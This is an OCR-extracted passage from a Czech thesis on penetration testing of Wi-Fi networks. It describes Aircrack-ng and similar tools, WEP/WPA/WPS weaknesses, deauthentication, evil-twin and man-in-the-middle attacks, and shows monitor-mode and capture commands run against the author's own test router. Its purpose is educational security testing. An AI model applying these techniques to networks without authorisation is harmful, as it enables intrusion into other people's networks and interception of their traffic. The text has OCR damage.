Nastroj slouzici k zachytavani packett, ktery je vhodny ke shromazd’ ovani IVS pfi testovani
WEP siti. Pokud je na interface povolend GPS lokace, je program schopny zachytit i GPS
soufadnice dan¢ho routeru. Navic dokaze program zachytit a ulozit informace o vSech
klientech a routerech, které jsou mu viditelné. K jeho praci je nutné mit bezdratové interface

V monitorovacim modu.
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Airdrop-ng

Program slouzici k odpojeni klienta od daného routeru pomoci zaslani deauthentication
paketu. Airdrop se mize zaméfit na konkrétniho klienta dle MAC adresy na klienty dle typu

hardware nebo muze odpojit vSechna zafizeni v dosahu.
Aireplay-ng

Nastroj slouzici pro vytvafeni vlastniho sitového provozu, diky némuz je mozné ziskat vice
informaci pro pozd¢jsi prolomeni WEP nebo WPA klict. Program umoziiuje nékolik typa
akci pro ziskani sitového provozu, piikladem jsou Fragmentation attack, Cafe-Latte attack,

ARP request replay, KoreK chopchop attack a dalsi.
Packetforge-ng

Program k vytvareni Sifrovanych packett, které mohou byt pouzivany k injection utokdm.
Nastroj umi vytvafet rizné typy packetii jako je ARP request, UDP a ICMP pakety nebo

dovoluje vytvofit i zcela vlastni typ paketu.
Airbase-ng

Jednd se o vSestranny nastroj, ktery umozZiluje provadet rizné typy utokl oproti klientim
nebo se sam chovat jako access point. Hlavni myslenkou tohoto nastroje je ptinutit klienta,
aby se ktomuto falesnému routeru piipojil, pficemz by si stale myslel, Ze se poji ke
spravnému routeru. Toto je moZné uskutecnit pomoci reakce na probe requesty, které vysilaji
nekterd zatizeni.

Wifite

Dle dokumentace Kali Linux [21] se jedna o bali¢ek programu pro automatizovany titok na
nekolik WEP, WPA a WPS siti v fadé. Tento baliCek automatizuje ¢innost programi
z baliku Aircrack-ng suite. Vyhody tohoto baliku jsou naptiklad: sefazeni siti a titokt dle

kvality signalu, moznost nastaveni Utokd pomoci mnoha filtrti, moznost rychlého zruSeni

utoku pomoci ctrl+c a dalsi.
FernWifiCracker

Dal$im z automatizovanych néstrojii pro penetracni testovani bezdratovych siti je
FernWifiCracker. Jak je uvedeno v dokumentaci ke Kali Linux [9], jednd se o balik

program, ktery je schopny ziskat klice k WEP/WPA/WPS sitim a je také schopny provést
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nékteré z Gtokt proti t€émto sitim. Balik je schopny, penetrovat WEP sit’ za pomoci
Fragmentation, Chop-Chop, Caffe-Latte, Hirte a dalSich utoku, dale penetrovat WPA/WPA2

pomoci slovnikovych Gtoki, provést Man-in-the-Middle attack a mnoho dalsiho.

4.4 Distribuce uréené pro penetracni testovani

Kali linux

Jak uvadi oficialni dokumentace této distribuce [19], jedna se o Linuxovy systém zalozeny
na Debianu a jeho ucelem je podpora pokroc€ilého penetra¢niho testovani a bezpec¢nostnich
kontrol. Kali obsahuje nékolik stovek nastroji pro podporu bezpe¢nostnich ¢innosti
v informacnich technologiich jako jsou penetracni testy, forenzni testovani, reverse
engineering a mnoho dalSiho. Kali je vyvijen, financovan a udrZovan skupinou Offensive
security a je momentalnim leaderem ve své oblasti. Prvni verze této Linuxové distribuce
byla vydana jiz 13.4.2013 jako kompletni ptredélavka starsi distribuce BackTrack Linux

prizptisobena vyvojovym standardiim pro Debian systémy.
Metasploit framework

Jak uvadi vyrobce ve své oficialni dokumentaci [14], jedna se o kompletni platformu
urcenou k penetracnimu testovani. Tato platforma poskytuje néstroje potfebné k nalezeni
slabin cilové sité, jejich zneuziti a naslednému opraveni. Tento projekt je open-source a je
mozné ho pouzivat jak na Linuxu, pro ktery byl vytvofen, tak 1 na platformach Windows a
OSX. Navic pro efektivnéjsi praci s timto frameworkem existuje interaktivni grafické

rozhrani vytvofené Raphaelem Mudgem nesouci ndzev Armitage.
Nessus Security Scanner

Aaron Johns ve své knize Mastering Wireless Penetration Testing for Highly — Secure
Enverionment [25] tento nastroj popisuje jako scanner, ktery poskytuje opravy, nastaveni a
kompletni bezpecnostni audit. Nastroj podporuje odhalovani malwaru a botnetti, identifikaci
citlivych tdaji a mnoho dalSich moZnosti pro testovani zabezpeceni. Autor také tvrdi, Ze
diky pravidelnym aktualizacim, vice nez 60 000 doplitkiim a podpote pro praci v tymu je to
nejlepsi bezpecnostni scanner, ktery kdy pouzijete. Nessus dokéze odhalit bezpecnostni
chyby routeru, oteviené porty a tyto chyby poté pichledné zobrazit spole¢né s linky na blizsi
informace o bezpecnostnim riziku. Navic jak piSe Kumar ve své knize Learning Nessus for
Penetration testing[27, s.12] jedna se o jeden z nejpopularnéjSich nastrojt, ktery je v oboru

pouzivany po vice nez 15 let.
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5 Navrh vyuziti principi penetraéniho testovani pro
bezdratové sité

V této ¢asti bude podrobné predstaven standard 802.11 a ostatni charakteristiky tykajici se
stavby a hlavné bezpecCnostnich charakteristik bezdratovych siti. V druhé casti bude
predstaven plan pro otestovani bezdratové sit€¢ dle obecného frameworku pouzivaného pii

penetra¢nim testovani Wi-Fi siti.

5.1 Bezdratové sité a jejich charakteristiky

Standard 802.11

Jedna se o standard pro bezdratové sité pracujici na druhé vrstvé OSI modelu pro pocitacové
sité. Zafizeni a sité pouzivajici tento standard se oznacuji jako Wi-Fi, coZz je ochranna
znamka registrovana skupinou Wi-Fi Alliance. V dnesni dob¢ je standard 802.11 postupné
rozsitovan tak, aby vyhovoval pozadavkiim na moderni pocitacové sité a hlavné jejich
pienosové rychlosti. Proto dnes rozliSujeme typy 802.11.a, 802.11b, 802.11g a 802.11n.
Tyto typy se odlisuji hlavné frekvencemi, na kterych jsou schopny vysilat signal. Dnes
nejpouzivanéjsi typ 802.11b/g vysild na frekvenci 2,4GHz. Vysilaci frekvence jsou u
bezdratovych siti dale déleny na ¢trnact kanall. Ve vétSiné piipadi vSak neni povoleno
pouzivat vSechny tyto kanaly, vysilani je omezeno pouze na specificky vybér. Jelikoz se
jedna o vysilani signalu, je dosah Wi-Fi sité¢ zna¢né¢ omezen prostiedim ve kterém se sit’
nachazi. Typicky udavanymi hodnotami pro dosah téchto siti je 20-25 metrii v budovach a
az 100 metrd na volném prostranstvi. Rychlosti Wi-Fi jsou ovlivnény stejnymi faktory jako
jejich dosah. U nejnovéjsiho typu 802.11.n je udavana maximalni rychlost az 600 Mb/s.
Alamanni [3, s. 25-26].

Ramce v standardu 802.11

Jako u dalSich standardii na druhé vrstvé OSI modelu jsou i data u 802.11 pienaSena
vV podobé ramcli. Ramce u tohoto standardu jsou slozeny z t€la obsahujiciho samotna
pfenasend data, ktera jsou vétSinou Sifrovana dle nekterého z bezpecnostnich standardi, a
kontrolniho souctu pro ovéfeni celistvosti obdrzené¢ho ramce. V neposledni fadé obsahuje

vvvvvv

ramce. Alamanni [3, s. 26-27].
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Obriazek 1 - ramec standardu 802.11 zdroj: [22]

Servisni ramce — tyto ramce slouzi k fizeni komunikace mezi AP a klientem.

o

o

Beacon - ramce pouzivané k oznameni ptitomnosti AP véetné¢ jeho zakladni
konfigurace.

Probe request - ramce zasilané klientem pro zjisténi ptitomnosti jakéhokoliv
AP v dosahu nebo zjisténi informaci o konkrétnim AP.

Probe response - ramce zasilané jako odpovéd na piedchozi ramec
obsahujici informace o dané siti.

Authentication request - ramce posilané klientem pro zahajeni autentiza¢ni
faze s AP.

Authentication response - kladna nebo zaporna odpovéd na piedchozi
ramec.

Association request - ramec zasilany klientem pro zahajeni asociacni faze
s AP.

iati - kladna nebo zaporna odpovéd’ na predchozi ramec.
Association response - klad bo zap dpovéd’ na predch

Kontrolni ramce — ramce fidici provoz v siti. Typy kontrolnich ramcii jsou

Request-to-Send (RTS) a Clear-To-Send (CTS), které se snazi redukovat kolize

mezi ramci, a Acknowledgment(ACK) slouzici jako potvrzeni o spravném piijeti

ramcu.

Datové ramce — tyto ramce obsahuji samotna data ptenasena po Wi-Fi siti zabalena

do packett vyssich vrstev OSI. Alamanni [3, s. 25-26].
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5.2 Navrh postupu penetracniho testovani

5.2.1 Faze planovani

Tato faze penetraniho testovani je dle Alamanniho [3, s.2] kliCova pro cely prubéh
penetracniho testovani. Jak ale autor uvadi, v mnoha ptipadech ji neni vénovano dostatecné
velké mnozstvi pozornosti. Stejny autor dale fika, ze v této fazi by m¢l byt definovan rozsah
celého testu a domluveny podminky pro testovani s vlastnikem dané sité. Dale se v této fazi
stanovi cile, které by mély byt splnény po skonceni celého procesu penetra¢niho testovani.
Jako priklady provadénych akci v této ¢asti uvadi Alamanni [3, s.3] naptiklad vymezeni
oblasti, ve které se budou hledat bezdratové sité, vymezeni oblasti, ktera je pokryta signalem
sité, a zjisténi poctu klientt, kteti se pripojuji k dané siti. Dale se zde definuji oblasti, na
které by mél byt test zaméten, jako jsou konkrétni bezpecnostni problémy a jejich priority.
V neposledni tadé¢ zde uréime hranice testu. Témito hranicemi je mySlena nutnost
oznamovani vyskytu rouge skrytych access-pointii, ptipadné jsou-li povoleny ttoky proti
klientim, pfipojovanym do testované sité. Dale by zde méla byt stanovena vSechna ostatni
pravidla pro testovani v¢etné ohlaSeni data a ¢asu provadéni testd a sepsani kontraktu o

mlcéenlivosti.

5.2.2 Faze analyzy prostredi

Druhou fazi testovani je celkova analyza zkoumaného prostiedi. Jak se pise v Alamanniho
knize [3, s.3], hlavnim cilem této faze penetra¢niho testovani je snaha o sbér co mozna
nejvetsiho mnozstvi informaci o sitich, které byly stanoveny jako pfedméty testu v prvni
fazi. Dle tohoto principu autor tuto fazi pfejmenovava na fazi sbéru informaci, jelikoz dle
pokud je sesbirano dostatecné mnozstvi informaci o dané siti, je mozné odhalit jeji
potencialni slabiny jesté pied zaCatkem samotného testovani. Tyto odhalené slabiny nam
pozd¢€ji pomohou se spradvnym sméfovanim samotného Utoku a mnohonésobné tuto fazi

usnadni a zrychli.
Nalezeni siti véetné skrytych siti a rouge access-points

Nalezeni bezdratovych siti je pomérné jednoduchy proces, a to hlavné z divodu, ze ramce
jsou pienaseny volné v prostiedi a mohou byt odchyceny prakticky kymkoliv. Proces

zachytavani téchto ramcti se nazyva wirless scanning, a jak fika Alamanni [3, $.29], tento

19



proces se stal pomérné oblibenym i u lidi bez technického vzdélani. Stejny autor popisuje

dva druhy tohoto skenovani.
Aktivni scanning

Tento druh odchytavani zahrnuje vyslani probe request ramce do broadcastu v dané oblasti
a ¢ekani na probe response od vSech AP, které jsou v oblasti aktivni. Tento postup ma vSak
velkou nevyhodu v tom, Ze neumoznuje nalézt skryté sité. Skryté sité maji totiz nastaveno
zahazovani probe request ramcti a diky tomu nejsou viditelné pro klasicka zatizeni.

Alamanni [3, s. 29].
Pasivni scanning

Jinym druhem je pasivni skenovani, které nam poskytuje ve vétSin€ ptipada lepsi vysledky.
Pii tomto skenovani nejsou rozesilany probe requesty do broadcastu. Misto toho je adaptér
nastaven do monitorovaciho modu, takze muze odposlouchavat veskeré ramce, které jsou
prendseny V dané oblasti. Poté je mozné zachycené pakety analyzovat naptiklad pomoci
Wireshark a z beacon ramci zjisti informace o vSech AP vyskytujicich se v oblasti. Diky
tomu je zajisténo zachyceni informaci i o zafizenich, ktera jsou pro aktivni scanning skryta.

Alamanni [3, s. 29].

5.2.3 Uréeni typu zabezpeceni pouzivaného u cilové sité
Otevrena sit’

Jedna se o bezdratové sit€ pouzivané prevazné na vetejnych prostranstvich, takovymi misty
jsou naptiklad autobusové nadrazi, kina, kavarny a podobné¢. Tento typ sité nepouziva zZadny
bezpec¢nostni mechanismus a miiZe se k nému ptipojit kterékoliv zatizeni podporujici 802.11
standard. Pakety prochazejici siti nejsou zadnym zpisobem Sifrovany a data v nich jsou
prenasena jako plain text. Neni pravdépodobné, Ze bychom se s timto typem sité setkali

behem penetrac¢niho testovani.
Zabezpeceni typu WEP

Jak piSe Almanni ve své knize [3, s.43], jedna se o zkratku vzniklou ze spojeni Wired
Equivalent Privacy, a je to protokol, ktery byl piedstaven s originalnim standardem pro
bezdratové sit¢ 802.11 jako prostiedek, ktery mél poskytnout zabezpeceni bezdratovych siti
a Sifrovani pfenaSeného obsahu. Protokol je zalozeny na RC4 (Rivest Cipher 4) a

pouziva preshared secret key (PSK) skladajici se ze 40 nebo 104 bita podle konkrétni
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implementace. K Sifrovani obsahu se pouziva 24 bitovy pseudo-nahodny Initialization
Vector (IV), ktery po zietézeni s PSK tvoti RC4 kli¢ pro zaSifrovani kazdého prenaseného
packetu. To znamena, ze vysledna velikost zaSifrovaného fetézce se bude pohybovat mezi

64 a 128 bity.

v
Initialisation
Vector (IV) Seed WEP Key Sequence
I | | PRNG

Secret Key )

Ciphertext
Plaintext

_,| Integrity Algorithm }_, | |
Message

Integrity Check Value (ICV)

Obrazek 2 - Sifrovani WEP zdroj: [23]

V dnesni dobé je standard WEP oznacen skupinou Wi-Fi Alliance jako zastaraly a neni
doporuceno ho nadéle vyuZzivat jako prostfedek pro zabezpefeni bezdratové sité¢. Hlavnim
divodem je, ze tento standard trpi mnoha riiznymi bezpecnostnimi riziky, at’ uz ohledné
generovani fetézcl, pouzivani Initialization Vector nebo délky Sifrovaciho klic¢e. Problém
s pouzitim IV je, Ze je pouze 24 bitl dlouhy (tzn. pouze 16 777 2116 moZnosti) a je piendSen
jako neSifrovany text v kazdém packetu. Z logiky véci vyplyva, Ze po urCité dobé se
vycerpaji vSechny moznosti a [V fetézce se zatnou opakovat. Toho miiZze Gito¢nik zneuzit a
po sesbirani dostate¢ného mnozstvi dat pouzit statisticky Gtok k prolomeni klice. Jelikoz
k provedeni tohoto utoku je tieba velké mnozstvi zachycenych packetl, je tieba zvysit
provoz v siti. Toho miize potencidlni Gtonik dosdhnout napiiklad pomoci ARP request

Replay.
Zabezpeceni typu WPA

Alamani ve své knize [3, s.61] tika, ze WPA je zkratka pro Wi-Fi Protected Access protocol.
Tento standard byl vyvinut skupinou Wi-Fi Alliance jako nahrada za zastaraly protokol
WEP. WPA byl poprvé predstaven v roce 2003 a hned dalsi rok byl nahrazen protokolem
WPAZ2. Protokol podporuje dva typy autentizace — personal a enterprise. U typu personal je
pouzivan pre-shared key (PSK) a neni zapotiebi vyuziti autentizacni autority (nejcastéji

V podobé¢ autentiza¢niho serveru). Zde pouzivany PSK mitize byt slozen z 8-63 tisknutelnych
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znakt ASCII tabulky. Na druhou stranu u typu enterprise je za potiebi vyuziti autentizacni
autority, dale je zapotiebi zakoupit AP, které ma zabudovanou podporu RADIUS protokolu
a klienti musi byt schopni pouzit Extensible Authentication Protocol (EAP) pro svoji

autentizaci. K autentizaci mezi klientem a AP se pouziva proces zvany 4-way handshake.
Zabezpeceni typu WPA2

Standard WPA je nejmodernéjSim protokolem pro zabezpeceni bezdratovych siti. Tento
standard vylepSuje zastaralé WPA a WEP hlavné po strance Sifrovani a autentizace. WPA2
nutné implementuje Sifrovaci algoritmus Advanced Encryption Standard (AES), ktery je pfi
dostate¢né délce klice neprolomitelny. K autentizaci se stejné jako u protokolu WPA miize
pouzit bud’ PSK (pre-shared key) nebo protokol EAP spole¢né s nastavenim autentizacni
autority. Pro autentizaci mezi AP a klientem se stejné jako u star§siho WPA pouziva 4-way
handshake. [20]

Four-Way Handshake

Pokud se zatizeni chce piipojit do sité zabezpecené pomoci WPA/WPA2 protokolu, musi

nejdiive probéhnout Four-Way Handshake.

e Na zacatku tohoto procesu je na obou stranach (klienta i routeru) nezavisle na sobé
nastaven Pairwise Master Key (PMK). Tento kli¢ je generovan za pomoci BSSID a
PSK. Poté co je PMK nastaven, zasle AP klientovi ndhodné ¢islo. Toto Cislo se
nazyva A-Nonce.

e Nasleduje druhé faze, v niz posle klient kontrolni Message Integrity Code spole¢né
s nahodnym c¢islem, toto ¢islo je zvané S-Nonce, zpatky k AP. V mezicase vytvafi
Klient tzv. Pairwise Transient Key (PTK), ktery je pouzit na Sifrovani obsahu
prenaseného mezi AP a klientem po dobu jejich spojeni. Tento kli¢ je vytvofen
z PMK, A-Nonce, S-Nonce a MAC adres obou zafizeni.

e Ve tieti fazi provede stejny proces vytvareni PTK i AP a posle Group Temporal Key
(GTK) klientovi. Tento kli¢ pouziva klient K deSifrovani multicastd, broadcasti a

MIC.

e V posledni fazi se uz provadi pouze odeslani potvrzovaciho packetu od klienta.
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Obrazek 3- WPA 4-way-handshake zdroj: [24]

Jak je mozné vidét na obrazku ¢islo 3 nad timto textem. U WPA/WPA2 je kazdé PTK
unikatni a navic se neposila mezi klientem a AP. Z toho vyplyva, Ze standard WPA/WPA2
je bezpeény a jedina moznost, jak ho prolomit, je uhadnout slaby PSK, napiiklad pomoci

slovnikového ttoku.
Wi-Fi protected setup

Jedna se o bezpecnostni mechanismus pro AP predstaveny Wi-Fi Alianci v roce 2006,
ucelem jeho predstaveni bylo ulehcit ptfipojeni do Wi-Fi siti i pro méné technicky zdatné
uzivatele. Toho mélo byt docileno pouzitim osSmimistného PIN misto PSK. Pokud je PIN
zadany spravné, dojde k autentizaci. Dale tato specifikace podporuje i Push-Button-Connect

(PBC), diky ¢emuz staci pro autentizaci pouze zmacknuti tlacitka na routeru a na klientovi.

V roce 2011 vsak védci Stefan Viehbock a Craig Heffner nezavisle na sob¢ zjistili, ze tento
novy standard obsahuje bezpe¢nostni vadu, kterd umozni uto¢nikiim zjistit PIN b&hem
nékolika hodin pouze za vyuziti brute-force atoku. Chyba se vyskytuje v ovéfovani PIN na
stran¢ AP. Mezi AP a klientem je totiz zasilana pouze polovina PIN, pokud je tato polovina
ovetena, zasle klient druhou ¢ast, pokud neni ovéfena, je zaslan packet s chybovym kodem.
Z toho vyplyva, Ze na AP jsou ob¢ poloviny PINU ovéfovany zvlast. Navic posledni cifra

PIN je pouze kontrolnim souctem ostatnich sedmi. Z toho vyplyva, ze z ptvodnich
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10 000 000 moznosti pro osmi mistny PIN se stava pouze 11000 moznosti, coz je s dneSnim

vypocetnim vykonem otdzka né¢kolika minut i za pouziti prostého brute-force titoku.

5.2.4 Faze utoku

Jak pise Alamanni [3, s.4], jedna se 0 fazi, kde se vyuziva praktickych dovednosti k zneuZiti
slabin, které byly objeveny v prubéhu analytické faze, a jejich nasledné vyuziti k ziskani s

udrzeni piistupu do sité. Autor tuto fazi dale déli na dvé pod-faze.

Utoky na infrastrukturu a zabezpeéeni

Vv

Nejcastéjsim typem utokl v bezdratovych sitich jsou utoky ptimo proti AP a jak je popsano
v piechozi kapitole, existuje mnoho chyb, které je mozné vyuzit pro ziskani ptistupu do
testované sité. Tyto chyby se nejcastéji vyskytuji v koncepcei protokolit vyuzivanych pro
zabezpeceni piistupu. Neékteré dalsi moznosti vyuziti slabé infrastruktury sité jsou popsany

nize.
Denial of service

Tento typ utoku je Casty v mnoha odvétvich systémové bezpec¢nosti. Jedna se o vytvareni
velkého mnozZstvi sitového provozu, ktery eventualné zahlti router nebo klienta a znemozni
mu vyuzivani sluzeb poskytovanych danou siti. DDOS ttok je v bezdratovych sitich
nejcastéji provaden jako zahlceni AP obrovskym mnozZstvi deautentizacnich paketti. Dal§imi
mozZnostmi je rozesilanim ARP paketl pro faleSny access point. DalSim moZnosti je vysilani
velkého mnozstvi pokustl o autentizaci na routeru, tento utok vSak potiebuje obrovské

mnozstvi téchto requestt k ispéSnému dokonceni.
Rogue access point

Pokud se uto¢nikovi podati néjakym zptisobem ziskat ptistup do sité, Rogue access point je
jednou z moznosti, jak si tento pristup udrzet. Jedna se o ptidani nového AP do existujici
sité, ktery muze utocnik nasledné vyuzit jako ptistupovy bod pro pozdéjsi vyuziti. Dle
Alamanniho [3, s.100] muze byt Rogue access point bud’ fyzicky, ktery zahrnuje nasilné

zapojeni nového routeru do sité, nebo softwarovy.
Vyuziti slabych pristupovych udaji do routeru

Vétsina routerd, hlavné v domécich sitich, ma moznost grafické konfigurace za pomoci
webového rozhrani. Tato rozhrani maji nastavena defaultni ptistupové tidaje a velka cast

uzivatelii nevénuje dostatecnou pozornost jejich pienastaveni. To se déje hlavné z divodu,
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ze toto rozhrani je dostupné pouze zevnitf sit¢ a na prvni pohled se tedy zdd bezpecné proti
venkovnim utoklim. V poslednich letech se vSak objevily moznosti, které dovoluji pfipojit
se k tomuto rozhrani i ze sit¢ internet. Jednou z téchto moznosti je napiiklad DNS Rebinding.
Alamanni tento procese popisuje zde[3, s.105], fika Ze se jedna o vyuziti DNS serveru, ktery
ptreda klientovi faleSnou stranku se skriptem, ktery ziska kontrolu nad routerem vyuzivajicim
defaultni ptistupové udaje. K tomuto utoku se da vyuzit program Rebind, ktery je standardni

soucdasti Kali Linux.
Utoky na klienty

V mnoha redlnych ptipadech nastava pfi penetracnim testovani bezdratovych siti situace,
kdy nema tester pfistup k infrastruktufe dané sit¢ a neni mozné provést testovani predstavené

v minulé kapitole. V této situaci je mozné vyuzit k napadeni sit¢ klienty, ktefi se do této sité
ptipojuji.
Evil Twin a Honeypot

V minul¢ kapitole byl pfedstaven princip rouge access point, jehoz obdoba se da vyuZzit i pro
testovani na klientech sité. Jak piSe Alamanni [3, 5.107], je mozné vytvofit faleSny access
point, ktery 1aka klienty k tomu, aby se pfipojili k nému misto realného ptistupového bodu.
Jak autor tika, pokud se tento honeypot skryva za identitou ur¢itého routeru, je mozné ho
vyuzit k provedeni tzv. Evil Twin Gtoku. Pokud je naSe falesné AP bliZze a ma silné&jsi signal
neZ pravé AP, je pravdépodobné, ze klient, ktery je nastaven tak, aby se automaticky pojil
do dfive vyuzitych siti, pouzije ndS AP misto pravého AP. JelikoZ servisni ramce
Vv bezdratovych sitich nejsou Sifrovany nebo jakkoliv kryptograficky podepsany, nema klient

zadnou moznost rozliSeni téchto dvou APOD.
Man-in-The-Middle

Jak se pise v knize [3, 5.112], jedna se o utok, kdy se Gto¢nik vmisi do komunikace mezi
dvéma stranami (v naSem piipad€ nejcastéji klientem a AP) a pfeposila tuto komunikaci tak,

Ze si obé¢ strany nejsou védomy jeho ucasti.

Pro penetra¢ni testovani je nejcastéjSim piistupem vytvoieni Evil Twin a odposlech sitového
provozu za pomoci programi jako je Wireshark nebo Ettercap a jeho nasledné pieposilani
realnému AP. Pokud je nastaven Man-In-The-Middle, je mozné provadét DNS poinsoning,

ktery nam dovoluje upravit DNS zaznamy, a tim donutit klienta kK pfipojeni k jinému serveru
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bez jeho védomi. Dals§i moznosti je Session Hitjachking, které nam dovoluje zfalSovat

certifikaty webovych stranek nebo vyuzit chyby v protokolech Sifrovaného ptenosu.
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6 Praktické ovéreni navrzeného reseni

6.1 Faze planovani

V této kapitole bych rad piedstavil infrastrukturu, kterou jsem pouzil pro penetracni
testovani, a také zde predstavim dva postupy, které se pouzivaji prakticky v kazdém

penetracnim testu.
Priprava testovani

Planem praktické ¢asti této prace je oveéfit moznosti testovani bezdratovych siti, které byly
nastinény v ¢asti teoretické. Pro toto testovani jsem vyuzil Linuxovou distribuci Kali Linux,
ktera byla pfedstavena v teoretické ¢asti prace. Dale jsem vyuzil sitovou kartu TP-LINK
TL-WN722N, kterd umoznuje jak zachytdvani sitového provozu v monitorovacim modu,
tak 1 provadéni packet injection testl. Jako testovaci sit’ jsem pouzil sit’ vytvofenou na
routeru TP-LINK TL-WR841N, ktera ma nastavené SSID ,,Wireless Lab“ a BSSID
C4:E9:84:88:B5:0E. Tento jsem zvolil hlavné zdiavodu své vysoké rozsifenosti
v domécnostech, coz mi umozituje demonstrovat potencidlni diry v zabezpeceni béZznych

domacich bezdratovych siti.
Prepnuti do monitorovaciho modu

Prakticky pro vSechny ukony potifebné k provadéni penetracniho testovani bezdratovych siti
je potieba piepnout sitovou kartu do tzv. monitorovaciho modu. Toho Ize docilit naptiklad
pomoci nastroje Airmon-ng obsazeného v balicku Aircrack, ktery je soucasti zakladni verze
Kali Linux. V novéjsich verzich této distribuce je pfed pfepnutim do monitorovaciho modu
potieba zkontrolovat procesy, které by mohly tomuto pfepnuti branit a pokud se né&jaky
takovy najde, je nutné ho pied provedenim tikonu korektn¢ ukoncit. K tomu méa Airmon
ptimo piikaz airmong-ng check kill, ktery tyto dva kroky provede automaticky. Pokud
nastaveni jiz nic nebrani, nasleduje samotné piepnuti, které je provedeno za pomoci ptikazu
airmon-ng start <<interface >>. Prub&h mizete vidét na obrazku Cislo 4 nize. Zménou
od ptedchozich verzi je zména nazvu interface pfi piepnuti do monitorovaciho modu, jak lze

vycist z obrazku, k nazvu interface se prida pfipona mon.
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root@kali: ~ (- JC N ]
File Edit View Search Terminal Help
:~# airmon-ng check kill

:~# airmon-ng start wlan@

Interface Driver Chipset
wlan@ athSk_htc Atheros Communications, Inc. ARS271 802.11ln

(macB80211 monitor mode vif enabled for [phy@]wlan® on [phy@]wlanGmon)
(macB80211 station mode vif disabled for [phyQ]wlan@)

= |

Obrazek 4- prepnuti do monitorovaciho modu

Vyuziti nastroje Airodump-ng pro odposlech sité

Pro zachytavani sitového provozu budu prakticky v kazdém testu pouzivat nastroj
Airodump-ng z bali¢ku Airckrack obsazeného v Kali Linux. Airodump-ng se pousti
ptikazem airodump-ng<<interface >>. Jak je vidét na obrazku ¢islo 5 pod timto
odstavcem, Airodump po svém zapnuti nalezl moji testovaci sit’ spole¢né s né€kolika dalSimi,
které jsou v dosahu sitové karty. JelikoZ se budu v priib&éhu testovani zaméfovat pouze na
svoji testovaci sit’ a ve vétSin€ piipadii budu potifebovat mit zachycena data uloZena
V souboru, budu mnohem castéji pouZzivat tuto variantu piikazu airodump-ng -bssid

<<BSSID>> -write <soubor>> <<interface >>.DalS§im pouzitelnym parametrem tohoto
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nastroje je moznost -c, kterd definuje kandl, na némz AP vysila.

root@kali: ~ - 0N <]
File Edit View Search Terminal Help

30 s ][ 2016-04-10 10:29

PWR Beacons #Data, #/s MB CIPHER AUTH ESSID

54e, CCMP PSK Testovaci sit
54e. |\ CCMP PSK Wireless Lab
b4e CCMP PSK  kucko

54e. CCMP PSK Shannahan

54e CCMP PSK WLAN-001180
54e. CCMP  PSK hajek

54e. CCMP PSK wifi_internet
54e. CCMP PSK Kratena

54 . WEP merly

54e. CCMP PSK MACHOVI

54 . CCMP PSK prostrednikdoma

64:66:B3:63:F9: 29 5
:84:88:B5: 26
C8:60:00:90:D5:EC 2 19
B0:48:7A:D0:34: 10
00:F8:1C:89:AE: 6
E8:DE:27:D9:23: 13
64:70:02:55:16: 12
A4: ] 0 :
00:
C4:
00:

ONO O~ - - S0

BSSID STATION Rate Lost Frames Probe

(not associated 00:17:C4:BD:E9:8B 0 -1
(not associated C4:07:2F:AE:AA:F1 0 -1
(not associated 34:80:B3:6A:9A:88 0 -1
64:66:B3:63:E9:1E 68:94:23:FD:6A:07 Oe- Oe

Obrazek 5- vypis Airodump
6.2 Analyza prostredi

Ve fazi analyzy prostiedi je mym cilem ukazat, jaké druhy informaci miZze Gtoc¢nik ziskat
pouhym odposlechem datového provozu v prostredi. Konkrétné bych rad ukézal, jak nalézt
routery, které maji nastaveno chovani skryté sité, a také, jak jednoduse obejit filtr MAC

adres.
Nalezeni skrytych SSID

Jednou z velmi castych chyb pfi zabezpecnovani domaci sité je pocit, ze kdyz je sit’
nastavena jako neviditelna, je pro Uto¢nika nemozné zjistit, ze takova sit’ viibec existuje.
Proto bych rad ukazal, Ze to nemozné neni, naopak, je to pomérné¢ snadné. Jak se piSe
V teoretické ¢asti, 1ze toho dosdhnout pomoci dvou ptistupti, bud’ pouhym odposlechem sité
a ¢ekanim na probe request od klienta a nebo aktivné odpojenim vSech okolnich zafizeni a

tim ziskanim probe requestl od téchto klienti.
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Pasivni pristup

Technika pasivniho odposlechu je pomérné jednoducha a jediné, co K ni potfebujeme, je
nastroj Wireshark, ktery je dostupny v zakladni distribuci Kali Linux. Poté pouze piepneme
interface nasi sitové karty do monitorovaciho modu (jak je popsano v kapitole 5.1), zapneme
Wireshark a nastavime mu filtr, tak aby zachytaval pouze ramce, které obsahuji adresu mé
sit€. Poté uz pouze pockam na nové piipojeni od klienta. Pokud se klient pfipoji, vygeneruji
se mezi nim a AP probe request a probe response ramce, ze kterych je jiz mozné SSID této

skryté sité jednoduse vycist, jak je mozné vidét na obrazku ¢islo 6.

*wlanOmon 000
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AR O mMARPG Q &= SE EaQQE
(W [wlan.addr == C4:E9:84:88:B5:0E| BA=d ~] Expression... +
No. Time Source Destination Protoc~ Lengtt Info &
.455999254 Tp-LinkT_88: HonHaiPr_fd: Probe Response, SH=403.
238 10.456101926 Tp-L1nkT_88:b5:0e (.. 802.11 50 Acknowledgement, Flags.. |
240 10.477846450 Tp-LinkT_88:h5:0e HonHaiPr_fd:6a:07 802.11 211 Probe Response, SN=403..
241 10.478079436 Tp-LinkT_88:b5:0e (.. 802.11 50 Acknowledgement, Flags..
243 10.501618014 Tp-LinkT_88:h5:0e HonHaiPr_fd:6a:07 802.11 211 Probe Response, SN=403..
244 10.502006345 Tp-LinkT_88:b5:0e (.. 802.11 50 Acknowledgement, Flags..
246 10.518864796 Tp-LinkT_88:h5:0e HonHaiPr_fd:6a:07 802.11 211 Probe Response, SN=403..
247 10.519143913 Tp-LinkT_88:b5:0e (.. 802.11 50 Acknowledgement, Flags.. |
251 10.545025068 Tp-LinkT_88:h5:0e HonHaiPr_fd:6a:07 802.11 211 Probe Response, SN=403. ~
p Frame 237: 211 bytes on wire (1688 bhits), 211 bytes captured (1688 bits) on interface @ a
» Radiotap Header vo, Length 36
p 802.11 radio information
p IEEE 802.11 Probe Response, Flags: ........ C
p IEEE 802.11 wireless LAN management frame v
00 00 24 00 2f 40 00 a@ 20 08 00 00 00 0O 0O 00 L 4 a
010 59 99 1c 2e 00 00 00 00 10 02 99 09 a0 00 ef 0O \ (S N v
020 00 00 ef 00 50 00 3a 01 68 94 23 fd 6a 07 c4 e9 ot P
) 84 88 bS5 0e c4 e9 84 88 bS5 0e 10 fc 11 68 52 47  ......0v v hRG
00 00 00 00 64 00 21 04 00 OC 57 69 72 65 6C 65 condot, L wirele
73 73 20 4c 61 62 01 08 82 84 8h 96 Oc 12 18 24 ss Lab.. ....... $
